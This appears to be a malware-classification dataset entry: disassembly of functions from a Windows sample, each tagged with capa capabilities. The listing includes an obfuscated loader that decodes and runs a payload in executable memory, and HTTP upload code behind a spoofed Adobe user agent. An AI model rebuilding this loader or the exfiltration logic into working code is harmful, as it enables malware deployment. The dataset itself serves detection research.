joyce8/EMBER2024-capa huggingface dataset:
Function at 0x408691
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x43631d
mov eax, dword fs:[0]
push eax
sub esp, 0x30
mov eax, dword [0x44c054]
xor eax, esp
mov dword [esp + 0x28], eax
push ebx
push esi
push edi
mov eax, dword [0x44c054]
xor eax, esp
push eax
lea eax, [esp + 0x40]
mov dword fs:[0], eax
mov edi, ecx
mov ebx, dword [ebp + 8]
mov esi, 0xffff
cmp si, bx
jne 0x4086de
xor eax, eax
jmp 0x408868
mov eax, dword [edi + 0x20]
mov ecx, dword [eax]
test ecx, ecx
je 0x40870a
mov edx, dword [edi + 0x30]
mov eax, dword [edx]
lea eax, [ecx + eax*2]
cmp ecx, eax
jae 0x40870a
dec dword [edx]
mov edx, dword [edi + 0x20]
mov ax, bx
mov esi, dword [edx]
lea ecx, [esi + 2]
mov dword [edx], ecx
mov word [esi], bx
jmp 0x408868
cmp dword [edi + 0x50], 0
je 0x408865
mov ecx, edi
call fcn.004094cb
xor ecx, ecx
cmp dword [edi + 0x40], ecx
jne 0x40873f
push dword [edi + 0x50]
push ebx
call dword [sym.imp.MSVCR110.dll_fputwc]
pop ecx
pop ecx
cmp ax, si
je 0x408865
movzx esi, bx
jmp 0x408865
movzx eax, bx
push ecx
mov dword [esp + 0x34], ecx
mov byte [esp + 0x24], cl
push 8
lea ecx, [esp + 0x28]
mov dword [esp + 0x18], eax
mov dword [esp + 0x3c], 0xf
call fcn.00410fcd
and dword [esp + 0x48], 0
cmp dword [esp + 0x34], 0x10
lea eax, [esp + 0x18]
push eax
mov eax, dword [esp + 0x34]
lea edx, [esp + 0x24]
cmovae edx, dword [esp + 0x24]
lea ecx, [esp + 0x24]
cmovae ecx, dword [esp + 0x24]
add eax, edx
push eax
push ecx
mov ecx, dword [edi + 0x40]
lea eax, [esp + 0x28]
push eax
lea eax, [esp + 0x22]
push eax
lea eax, [esp + 0x24]
push eax
lea eax, [edi + 0x48]
push eax
call dword [sym.imp.MSVCP110.dll_public:_int___thiscall_std::codecvt_wchar_t__char__int_::out_int___wchar_t_const___wchar_t_const___wchar_t_const____char___char___char___const]
test eax, eax
js 0x40885c
cmp eax, 1
jg 0x40883d
mov ecx, dword [esp + 0x34]
mov edx, dword [esp + 0x20]
mov ebx, dword [esp + 0x18]
cmp ecx, 0x10
lea eax, [esp + 0x20]
cmovae eax, edx
sub ebx, eax
mov dword [esp + 0x14], ebx
mov ebx, dword [ebp + 8]
je 0x408800
push dword [edi + 0x50]
cmp ecx, 0x10
push dword [esp + 0x18]
lea eax, [esp + 0x28]
cmovae eax, edx
push 1
push eax
call dword [sym.imp.MSVCR110.dll_fwrite]
mov ecx, dword [esp + 0x24]
add esp, 0x10
cmp ecx, eax
jne 0x408835
jmp 0x408804
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x10]
mov byte [edi + 0x46], 1
cmp dword [esp + 0x1c], eax
jne 0x408832
test ecx, ecx
jne 0x408767
cmp dword [esp + 0x30], 0x20
jae 0x408838
push ecx
push 8
lea ecx, [esp + 0x28]
call fcn.00410fcd
jmp 0x408767
movzx esi, bx
movzx esi, si
movzx esi, si
jmp 0x408859
cmp eax, 3
jne 0x40885c
push dword [edi + 0x50]
push dword [esp + 0x14]
call dword [sym.imp.MSVCR110.dll_fputwc]
pop ecx
pop ecx
cmp ax, si
je 0x408859
movzx esi, bx
movzx esi, si
lea ecx, [esp + 0x20]
call fcn.004023b1
mov ax, si
mov ecx, dword [esp + 0x40]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x28]
xor ecx, esp
call fcn.0041d508
mov esp, ebp
pop ebp
ret 4
Function at 0x40a9a5
Capabilities:
Create http request
Parse url

Disassembly:
push 0x64
mov eax, 0x43648c
call fcn.00433ea9
mov esi, ecx
mov edi, dword [ebp + 8]
mov ebx, dword [ebp + 0xc]
xor ecx, ecx
push 0x3c
lea eax, [esi + 0xc]
push ecx
push eax
mov dword [esi], ecx
mov dword [esi + 4], ecx
mov dword [esi + 8], ecx
call dword [sym.imp.MSVCR110.dll_memset]
or ecx, 0xffffffff
mov dword [esi + 0x14], ecx
mov dword [esi + 0x20], ecx
mov dword [esi + 0x3c], ecx
mov dword [esi + 0x44], ecx
lea eax, [esi + 0xc]
mov ecx, 0xffff
mov dword [eax], 0x3c
mov word [esi + 0x24], cx
mov ecx, dword [edi + 0x10]
add esp, 0xc
cmp dword [edi + 0x14], 8
jb 0x40a9ff
mov edi, dword [edi]
push eax
push 0
push ecx
push edi
call dword [sym.imp.wininet.dll_InternetCrackUrlW]
test eax, eax
jne 0x40aa15
xor al, al
jmp 0x40aac9
push dword [esi + 0x1c]
lea ecx, [ebp - 0x28]
call fcn.00410fcd
xor edi, edi
mov dword [ebp - 4], edi
push dword [esi + 0x20]
lea ecx, [ebp - 0x58]
push edi
push ecx
mov ecx, eax
call fcn.00410fcd
push eax
lea ecx, [esi + 0x48]
call fcn.00410fcd
push edi
push 1
lea ecx, [ebp - 0x58]
call fcn.00410fcd
or dword [ebp - 4], 0xffffffff
push edi
push 1
lea ecx, [ebp - 0x28]
call fcn.00410fcd
push dword [esi + 0x38]
lea ecx, [ebp - 0x70]
call fcn.00410fcd
mov dword [ebp - 4], 1
push dword [esi + 0x3c]
lea ecx, [ebp - 0x40]
push edi
push ecx
mov ecx, eax
call fcn.00410fcd
push eax
lea ecx, [esi + 0x60]
call fcn.00410fcd
push edi
push 1
lea ecx, [ebp - 0x40]
call fcn.00410fcd
push edi
push 1
lea ecx, [ebp - 0x70]
call fcn.00410fcd
cmp dword [ebx + 0x14], 8
jb 0x40aa9f
mov ebx, dword [ebx]
push edi
push edi
push edi
push edi
push ebx
call dword [sym.imp.wininet.dll_InternetOpenW]
mov dword [esi], eax
test eax, eax
je 0x40aa0e
xor ecx, ecx
mov edx, 0x4186f1
cmp ecx, edx
je 0x40aac7
push edx
push eax
call dword [sym.imp.wininet.dll_InternetSetStatusCallbackW]
mov al, 1
call fcn.00433e58
ret 0x10
Function at 0x40abd5
Capabilities:
Read data from internet
Receive data

Disassembly:
push 0x20
mov eax, 0x436403
call fcn.00433edf
mov dword [ebp - 0x20], ecx
xor esi, esi
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x18], esi
push esi
push esi
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x14], esi
push dword [eax + 8]
call dword [sym.imp.wininet.dll_InternetQueryDataAvailable]
mov edi, eax
mov dword [ebp - 0x1c], edi
test edi, edi
je 0x40acc7
mov dword [ebp - 4], esi
mov eax, dword [ebp - 0x14]
inc eax
push eax
call fcn.00410fcd
pop ecx
mov ecx, dword [ebp - 0x14]
inc ecx
push ecx
mov ebx, eax
push esi
push ebx
mov dword [ebp - 0x18], ebx
call dword [sym.imp.MSVCR110.dll_memset]
add esp, 0xc
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x14]
mov eax, dword [ebp - 0x20]
push ebx
push dword [eax + 8]
call dword [sym.imp.wininet.dll_InternetReadFile]
mov edi, eax
mov dword [ebp - 0x1c], edi
test edi, edi
jne 0x40ac53
mov dword [ebp - 0x14], esi
jmp 0x40ac65
cmp dword [ebp - 0x14], 0
jbe 0x40ac65
push dword [ebp - 0x14]
mov ecx, dword [ebp + 8]
push ebx
call fcn.00410fcd
or dword [ebp - 4], 0xffffffff
jmp 0x40acb0
push ebx
call dword [sym.imp.MSVCR110.dll_void___cdecl_operator_delete___void__]
cmp dword [ebp - 0x14], 0
pop ecx
mov dword [ebp - 0x18], esi
ja 0x40abec
test edi, edi
setne al
call fcn.00433e44
ret 4
Function at 0x40c14d
Capabilities:
Get common file path

Disassembly:
push 0x874
mov eax, 0x4369b0
call fcn.00433ea9
mov edi, edx
mov esi, ecx
xor ebx, ebx
push 0x802
lea eax, [ebp - 0x81c]
push ebx
push eax
mov dword [ebp - 0x880], ebx
call dword [sym.imp.MSVCR110.dll_memset]
add esp, 0xc
lea eax, [ebp - 0x81c]
push eax
push ebx
push ebx
push 0x801a
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x40c2b2
mov dword [ebp - 0x820], 7
mov dword [ebp - 0x824], ebx
mov word [ebp - 0x834], ax
cmp word [ebp - 0x81c], ax
je 0x40c1c9
lea eax, [ebp - 0x81c]
push eax
call dword [sym.imp.MSVCR110.dll_wcslen]
pop ecx
push eax
lea eax, [ebp - 0x81c]
push eax
lea ecx, [ebp - 0x834]
call fcn.00410fcd
mov edx, edi
lea ecx, [ebp - 0x84c]
mov dword [ebp - 4], ebx
call fcn.004069bf
push eax
lea ecx, [ebp - 0x87c]
mov byte [ebp - 4], 1
call fcn.00410fcd
mov byte [ebp - 4], 2
mov edx, eax
lea ecx, [ebp - 0x864]
mov dword [esp], 0x43fd8c
call fcn.00410fcd
pop ecx
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp - 0x834]
mov byte [ebp - 4], 3
call fcn.00410fcd
push ebx
push 1
lea ecx, [ebp - 0x864]
call fcn.00410fcd
push ebx
push 1
lea ecx, [ebp - 0x87c]
call fcn.00410fcd
push ebx
push 1
lea ecx, [ebp - 0x84c]
mov byte [ebp - 4], bl
call fcn.00410fcd
lea edx, [ebp - 0x834]
lea ecx, [ebp - 0x84c]
call fcn.00407dbd
mov ecx, eax
call fcn.004074d4
xor edi, edi
push edi
push 1
lea ecx, [ebp - 0x84c]
mov bl, al
call fcn.00410fcd
test bl, bl
je 0x40c2a0
lea edx, [ebp - 0x834]
mov ecx, esi
call fcn.004068f7
push edi
push 1
lea ecx, [ebp - 0x834]
call fcn.00410fcd
jmp 0x40c2be
or dword [ebp - 4], 0xffffffff
push edi
push 1
lea ecx, [ebp - 0x834]
call fcn.00410fcd
push 0x43f9ae
mov ecx, esi
call fcn.00410fcd
mov eax, esi
call fcn.00433e58
ret
Function at 0x410fcd
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x410fdc
pop dword [ebp - 0x18]
mov eax, 0x410fdc
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0x375e7cc1
sub dword [ebp - 0x28], 0xe90c3776
mov dword [ebp - 0x24], 0xf3062ad1
sub dword [ebp - 0x24], 0xc0d2de8c
mov dword [ebp - 0x20], 0xe4aef2bf
sub dword [ebp - 0x20], 0x9862ae91
mov dword [ebp - 0x1c], 0x4adabc29
sub dword [ebp - 0x1c], 0x4adabc29
lea eax, [ebp - 0x28]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0xf74ee71b
add dword [ebp - 0x28], 0x7d23823b
mov dword [ebp - 0x24], 0x49d7d95a
add dword [ebp - 0x24], 0xf794881b
mov dword [ebp - 0x20], 0x63bd3251
add dword [ebp - 0x20], 0xffb23a1b
mov dword [ebp - 0x1c], 0x4c70e8b3
add dword [ebp - 0x1c], 0xb38f174d
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, 0xb6dfa127
sub eax, 0xb69c00ef
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x3b9af
push 0
call eax
mov ecx, 0x3da1
mov ebx, eax
mov esi, 0x7b1babd0
sub esi, 0x7ad631d0
add esi, dword [ebp - 0x18]
mov edi, 0xdb97fcdb
sub edi, 0xdbc99154
sub dword [ebp - 0x10], 0xead9e411
mov edx, dword [esi]
add edx, edi
xor dword [ebp - 4], edx
mov dword [ebx], edx
add dword [ebp - 0xc], ebx
add ebx, 0xc968b260
add ebx, 0x36974da4
add esi, 4
loop 0x4110ee
add eax, 0xf3f4aae2
sub eax, 0xf3f3c18b
mov ebx, eax
add eax, 0x7785e76f
sub eax, 0x7785e76a
mov ecx, 0xab38b653
add ecx, 0x550749ad
add ecx, dword [ebp - 0x18]
call ebx
leave
ret

Function at 0x4128d9
Capabilities:
Get common file path

Disassembly:
push 0x264
mov eax, 0x4375ca
call fcn.00433ea9
mov edi, ecx
xor esi, esi
push 0x20a
lea eax, [ebp - 0x224]
push esi
push eax
mov dword [ebp - 0x258], esi
call dword [sym.imp.MSVCR110.dll_memset]
add esp, 0xc
call fcn.00410fcd
test al, al
je 0x41299a
push str.IE_is_protected_mode_
lea ecx, [ebp - 0x23c]
call fcn.00410fcd
push str.LogSession
lea ecx, [ebp - 0x254]
mov dword [ebp - 4], esi
call fcn.00410fcd
lea ecx, [ebp - 0x254]
mov byte [ebp - 4], 1
call fcn.0040c42d
push 0x43f9ae
lea ecx, [ebp - 0x270]
mov esi, eax
call fcn.00410fcd
push eax
mov byte [ebp - 4], 2
mov edx, dword [esi]
lea eax, [ebp - 0x23c]
push eax
mov ecx, esi
call dword [edx + 0x40]
lea ecx, [ebp - 0x270]
call fcn.004023b1
lea ecx, [ebp - 0x254]
call fcn.004023b1
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x23c]
call fcn.004023b1
mov ecx, edi
call fcn.0041283a
jmp 0x4129c7
lea eax, [ebp - 0x224]
push eax
push esi
push esi
push 0x801a
push esi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov edx, 0x43fc28
test eax, eax
lea ecx, [ebp - 0x224]
cmovne ecx, edx
push ecx
mov ecx, edi
call fcn.00410fcd
mov eax, edi
call fcn.00433e58
ret
Function at 0x412e6d
Capabilities:
Hash data with md5

Disassembly:
push 0xa8
mov eax, 0x4378ed
call fcn.00433ea9
mov ebx, ecx
xor ecx, ecx
mov dword [ebp - 0xb4], ecx
mov dword [ebp - 4], ecx
mov dword [ebp - 0xb0], ecx
mov dword [ebp - 0xac], ecx
mov dword [ebp - 0xa8], ecx
mov dword [ebp - 0x14], 0xf
mov dword [ebp - 0x18], ecx
mov byte [ebp - 0x28], cl
lea eax, [ebp - 0xb0]
mov byte [ebp - 4], 2
push 0x68
mov dword [ebp - 0x98], eax
push ecx
lea eax, [ebp - 0x90]
push eax
call dword [sym.imp.MSVCR110.dll_memset]
and dword [ebp - 0x8c], 0
and dword [ebp - 0x90], 0
add esp, 0xc
cmp dword [ebp + 0x1c], 0x10
lea edi, [ebp + 8]
cmovae edi, dword [ebp + 8]
add edi, dword [ebp + 0x18]
cmp dword [ebp + 0x1c], 0x10
lea esi, [ebp + 8]
cmovae esi, dword [ebp + 8]
mov dword [ebp - 0x88], 0x67452301
mov dword [ebp - 0x84], 0xefcdab89
mov dword [ebp - 0x80], 0x98badcfe
mov dword [ebp - 0x7c], 0x10325476
jmp 0x412f2d
mov al, byte [esi]
push 1
lea edx, [ebp - 0x91]
mov byte [ebp - 0x91], al
call fcn.00410fcd
pop ecx
inc esi
lea ecx, [ebp - 0x90]
cmp esi, edi
jne 0x412f16
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x98]
push eax
call fcn.00410fcd
xor eax, eax
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x9c], eax
lea eax, [ebp - 0xa4]
push eax
mov byte [ebp - 4], 3
push dword [ebp - 0xac]
lea ecx, [ebp - 0x98]
push dword [ebp - 0xb0]
call fcn.00410fcd
mov eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0xa4]
and dword [ebx + 0x10], 0
add esp, 0xc
mov dword [ebx + 0x14], 0xf
push dword [ebp - 0x98]
mov byte [ebx], 0
push eax
push ecx
mov ecx, ebx
call fcn.00413303
cmp dword [ebp - 0xa4], 0
mov esi, dword [sym.imp.MSVCR110.dll_void___cdecl_operator_delete_void__]
je 0x412fd5
push dword [ebp - 0xa4]
call esi
xor eax, eax
pop ecx
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x9c], eax
lea ecx, [ebp - 0x28]
call fcn.004023b1
cmp dword [ebp - 0xb0], 0
je 0x413003
push dword [ebp - 0xb0]
call esi
xor eax, eax
pop ecx
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0xac], eax
mov dword [ebp - 0xa8], eax
lea ecx, [ebp + 8]
call fcn.004023b1
mov eax, ebx
call fcn.00433e58
ret
Function at 0x413797
Capabilities:
Query or enumerate registry value

Disassembly:
push 0xf4
mov eax, 0x43796d
call fcn.00433ea9
mov ebx, ecx
cmp dword [ebx], 0
mov eax, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov dword [ebp - 0x44], eax
jne 0x4137bd
xor al, al
jmp 0x4138a7
and dword [ebp - 0x48], 0
push 0x802
mov dword [ebp - 0x4c], 0x400
call fcn.00410fcd
mov dword [esp], 0x802
mov edi, eax
push 0
push edi
call dword [sym.imp.MSVCR110.dll_memset]
add esp, 0xc
cmp dword [esi + 0x14], 8
jb 0x4137f1
mov eax, dword [esi]
jmp 0x4137f3
mov eax, esi
lea ecx, [ebp - 0x4c]
push ecx
push edi
lea ecx, [ebp - 0x48]
push ecx
push 0
push eax
push dword [ebx]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cdq
test eax, eax
jne 0x413880
test edx, edx
jne 0x413880
xor ebx, ebx
inc ebx
cmp dword [ebp - 0x48], 4
jne 0x413875
mov esi, dword [edi]
push ecx
push ecx
lea ecx, [ebp - 0x100]
call fcn.00413998
and dword [ebp - 4], 0
push esi
lea ecx, [ebp - 0xf0]
call dword [sym.imp.MSVCP110.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___int_]
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0x100]
call fcn.00410fcd
mov ecx, dword [ebp - 0x44]
push eax
call fcn.00410fcd
push 0
push ebx
lea ecx, [ebp - 0x28]
call fcn.00410fcd
lea ecx, [ebp - 0x98]
call fcn.00413a16
lea ecx, [ebp - 0x98]
call dword [sym.imp.MSVCP110.dll_public_virtual:_void___thiscall_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::destructor_void_]
jmp 0x41389d
mov ecx, dword [ebp - 0x44]
push edi
call fcn.00410fcd
jmp 0x41389d
push esi
mov edx, str.Query_registry_value_with_key:
lea ecx, [ebp - 0x40]
call fcn.00410b18
pop ecx
push 0
push 1
lea ecx, [ebp - 0x40]
call fcn.00410fcd
xor bl, bl
push edi
call dword [sym.imp.MSVCR110.dll_void___cdecl_operator_delete___void__]
pop ecx
mov al, bl
call fcn.00433e58
ret 8
Function at 0x4184e9
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x438689
mov eax, dword fs:[0]
push eax
sub esp, 0x38
mov eax, dword [0x44c054]
xor eax, esp
mov dword [esp + 0x30], eax
push ebx
push esi
push edi
mov eax, dword [0x44c054]
xor eax, esp
push eax
lea eax, [esp + 0x48]
mov dword fs:[0], eax
mov edi, ecx
cmp byte [edi + 0x25], 0
mov esi, dword [ebp + 8]
je 0x418530
mov eax, dword [edi]
call dword [eax + 0x14]
mov edx, esi
lea ecx, [esp + 0x28]
mov byte [edi + 0x25], 1
call fcn.004069bf
and dword [esp + 0x50], 0
mov esi, dword [sym.imp.MSVCR110.dll_wcslen]
and dword [esp + 0x20], 0
xor eax, eax
mov ebx, str.User_Agent:_Adobe_Log_Transport_r_n
push ebx
mov dword [esp + 0x28], 7
mov word [esp + 0x14], ax
call esi
pop ecx
push eax
push ebx
lea ecx, [esp + 0x18]
call fcn.00410fcd
mov ebx, str.Content_Type:_multipart_form_data__boundaryxxxxx_r_n
push ebx
mov byte [esp + 0x54], 1
call esi
pop ecx
push eax
push ebx
lea ecx, [esp + 0x18]
call fcn.00410fcd
mov ebx, str.Content_Length:_0
push ebx
call esi
pop ecx
push eax
push ebx
lea ecx, [esp + 0x18]
call fcn.00410fcd
lea eax, [edi + 0xc]
push eax
lea eax, [edi + 4]
push eax
push 0
push 0
push edi
lea eax, [esp + 0x24]
push eax
lea eax, [esp + 0x40]
push eax
mov ecx, edi
call fcn.00418158
push 0
push 1
lea ecx, [esp + 0x18]
mov bl, al
mov word [edi + 0x24], 1
call fcn.00410fcd
push 0
push 1
lea ecx, [esp + 0x30]
call fcn.00410fcd
mov al, bl
mov ecx, dword [esp + 0x48]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x30]
xor ecx, esp
call fcn.0041d508
mov esp, ebp
pop ebp
ret 4

Function at 0x418601
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x4386c1
mov eax, dword fs:[0]
push eax
sub esp, 0x40
mov eax, dword [0x44c054]
xor eax, esp
mov dword [esp + 0x38], eax
push ebx
push esi
push edi
mov eax, dword [0x44c054]
xor eax, esp
push eax
lea eax, [esp + 0x50]
mov dword fs:[0], eax
mov esi, ecx
cmp byte [esi + 0x25], 0
mov eax, dword [ebp + 0x10]
mov edi, dword [ebp + 8]
mov ebx, dword [ebp + 0xc]
mov dword [esp + 0x14], eax
je 0x418656
mov eax, dword [esi]
call dword [eax + 0x14]
mov eax, dword [esp + 0x14]
mov edx, eax
lea ecx, [esp + 0x30]
mov byte [esi + 0x25], 1
call fcn.004069bf
and dword [esp + 0x58], 0
and dword [esp + 0x28], 0
xor eax, eax
mov dword [esp + 0x2c], 7
mov word [esp + 0x18], ax
lea eax, [esp + 0x18]
push eax
push ebx
push edi
mov byte [esp + 0x64], 1
call fcn.00418019
lea eax, [esi + 0xc]
push eax
lea eax, [esi + 4]
push eax
push 0
push 0
push esi
lea eax, [esp + 0x2c]
push eax
lea eax, [esp + 0x48]
push eax
mov ecx, esi
call fcn.00418158
push 0
push 1
lea ecx, [esp + 0x20]
mov bl, al
mov word [esi + 0x24], 1
call fcn.00410fcd
push 0
push 1
lea ecx, [esp + 0x38]
call fcn.00410fcd
mov al, bl
mov ecx, dword [esp + 0x50]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x38]
xor ecx, esp
call fcn.0041d508
mov esp, ebp
pop ebp
ret 0xc
Function at 0x41da2d
Capabilities:
Terminate process

Disassembly:
push 0xc
push 0x443180
call fcn.0041da80
xor ebx, ebx
mov dword [ebp - 4], ebx
mov eax, dword fs:[0x18]
mov edx, dword [eax + 4]
mov edi, ebx
mov esi, 0x44df58
mov ecx, edx
xor eax, eax
lock cmpxchg dword [esi], ecx
test eax, eax
je 0x41d900
cmp eax, edx
jne 0x41d8e9
xor esi, esi
inc esi
mov edi, esi
jmp 0x41d903
xor esi, esi
inc esi
cmp dword [0x44df5c], esi
jne 0x41d915
push 0x1f
call sub.MSVCR110.dll__amsg_exit
pop ecx
jmp 0x41d94f
cmp dword [0x44df5c], ebx
jne 0x41d949
mov dword [0x44df5c], esi
push 0x43a57c
push 0x43a568
call sub.MSVCR110.dll__initterm_e
pop ecx
pop ecx
test eax, eax
je 0x41d94f
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x41da27
mov dword [0x44dd34], esi
cmp dword [0x44df5c], esi
jne 0x41d972
push 0x43a564
push 0x43a4fc
call sub.MSVCR110.dll__initterm
pop ecx
pop ecx
mov dword [0x44df5c], 2
test edi, edi
jne 0x41d97f
xor eax, eax
mov ecx, 0x44df58
xchg dword [ecx], eax
cmp dword [0x44df60], 0
je 0x41d9a1
push 0x44df60
call fcn.00410fcd
pop ecx
test eax, eax
je 0x41d9a1
push ebx
push 2
push ebx
call dword [0x44df60]
mov ecx, dword [0x44dd40]
mov eax, dword [sym.imp.MSVCR110.dll___initenv]
mov dword [eax], ecx
push dword [0x44dd40]
push dword [0x44dd3c]
push dword [0x44dd38]
call fcn.0040f60f
add esp, 0xc
mov dword [0x44dd30], eax
cmp dword [0x44dd48], 0
jne 0x41da0c
push eax
call dword [sym.imp.MSVCR110.dll_exit]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ecx]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
push ecx
push eax
call sub.MSVCR110.dll__XcptFilter
pop ecx
pop ecx
ret
cmp dword [0x44dd34], 0
jne 0x41da20
call dword [sym.imp.MSVCR110.dll__cexit]
mov eax, dword [0x44dd30]
mov dword [ebp - 4], 0xfffffffe
call fcn.0041dac5
ret
call fcn.00410fcd
jmp 0x41d8c8
Function at 0x431fe0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0xffffffffffffffff
push 0x435528
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
mov eax, dword [0x44c054]
xor eax, esp
mov dword [esp + 0x18], eax
push ebx
push esi
push edi
mov eax, dword [0x44c054]
xor eax, esp
push eax
lea eax, [esp + 0x2c]
mov dword fs:[0], eax
mov esi, ecx
mov ecx, dword [esi]
mov ebx, dword [esp + 0x3c]
mov eax, dword [ecx + 0x13c]
sub eax, dword [ecx + 0x138]
cmp dword [esi + 0x70], eax
jne 0x43208f
mov eax, dword [esi + 0x7c]
sub eax, dword [esi + 0x78]
test eax, 0xfffffffc
je 0x43208f
mov eax, dword [esi + 0x7c]
cmp dword [eax - 4], ebx
jle 0x43208f
mov eax, dword [ecx + 0x14]
test al, 3
jne 0x43204d
test eax, 0x1000000
je 0x43208f
push str.Cant_terminate_a_sub_expression_with_an_alternation_operator_.
lea ecx, [esp + 0x14]
call fcn.00410fcd
lea eax, [esp + 0x10]
push eax
mov eax, dword [esi + 0x5c]
sub eax, dword [esi + 0x54]
mov ecx, esi
push eax
push 0x11
mov dword [esp + 0x40], 0
call fcn.00429a30
cmp dword [esp + 0x24], 0x10
jb 0x43208b
push dword [esp + 0x10]
call sub.MSVCR110.dll_void___cdecl_operator_delete_void__
add esp, 4
xor al, al
jmp 0x4320fe
mov eax, dword [esi + 0x7c]
sub eax, dword [esi + 0x78]
test eax, 0xfffffffc
je 0x4320fc
lea esp, [esp]
mov eax, dword [esi + 0x7c]
mov edi, dword [eax - 4]
cmp edi, ebx
jle 0x4320fc
cmp dword [esi + 0x78], eax
je 0x4320b5
add eax, 0xfffffffc
mov dword [esi + 0x7c], eax
mov edx, dword [esi]
mov ecx, dword [edx + 0x13c]
sub ecx, dword [edx + 0x138]
add ecx, 3
and ecx, 0xfffffffc
add ecx, dword [edx + 0x138]
mov dword [edx + 0x13c], ecx
mov eax, dword [esi]
mov ecx, dword [eax + 0x13c]
sub ecx, dword [eax + 0x138]
mov eax, dword [eax + 0x138]
sub ecx, edi
mov dword [eax + edi + 8], ecx
mov eax, dword [esi + 0x7c]
sub eax, dword [esi + 0x78]
test eax, 0xfffffffc
jne 0x4320a0
mov al, 1
mov ecx, dword [esp + 0x2c]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x18]
xor ecx, esp
call fcn.0041d508
add esp, 0x28
ret 4
Function at 0x406315
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x40ba88
cmp edx, dword [eax]
je 0x406337
add eax, 8
inc ecx
cmp eax, 0x40bb18
jl 0x406328
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x40ba88]
jne 0x406465
mov eax, dword [0x40bfd4]
cmp eax, 1
je 0x40643f
test eax, eax
jne 0x406368
cmp dword [0x40b734], 1
je 0x40643f
cmp edx, 0xfc
je 0x406465
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x40639f
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.004037e0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004038d0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4063e2
lea eax, [ebp - 0x1a4]
push eax
call fcn.004038d0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x409584
push edi
call fcn.004077e0
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.004037e0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004037f0
lea eax, [ebp - 0xa0]
push 0x409564
push eax
call fcn.004037f0
push dword [esi + 0x40ba8c]
lea eax, [ebp - 0xa0]
push eax
call fcn.004037f0
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00407756
add esp, 0x2c
pop edi
jmp 0x406465
lea eax, [ebp + 8]
lea esi, [esi + 0x40ba8c]
push 0
push eax
push dword [esi]
call fcn.004038d0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x4153e0
Capabilities:
Encode data using xor

Disassembly:
fcomp qword [ebx]
push 0x2abacb3f
aas
add dword [ecx], esi
push edi
xor dword [ecx + edi*4], 0xaeca7e23
mov ebx, 0xd6544000
aam 0x63
scasb al, byte es:[edi]
ror dword [ecx], 0xf6
pop ebp
xchg ebp, eax
xchg ebp, eax
xchg ebp, eax
mov ebp, 0xd4c5f8b4
xor byte [edi - 0x40], bh
xor eax, 0x77d2ee39
push ecx
push esp
fmul qword ss:[ebx]
cmp byte [esi], 0xcb
add esi, edx
inc esp
mov dword [edi + 0x613479c1], ebp
jge 0x4153c1
mov ss, word [ebp + 0xe]
xor dword [ecx + ebp*8], 0x7e
mov al, 0x75
push ecx
salc
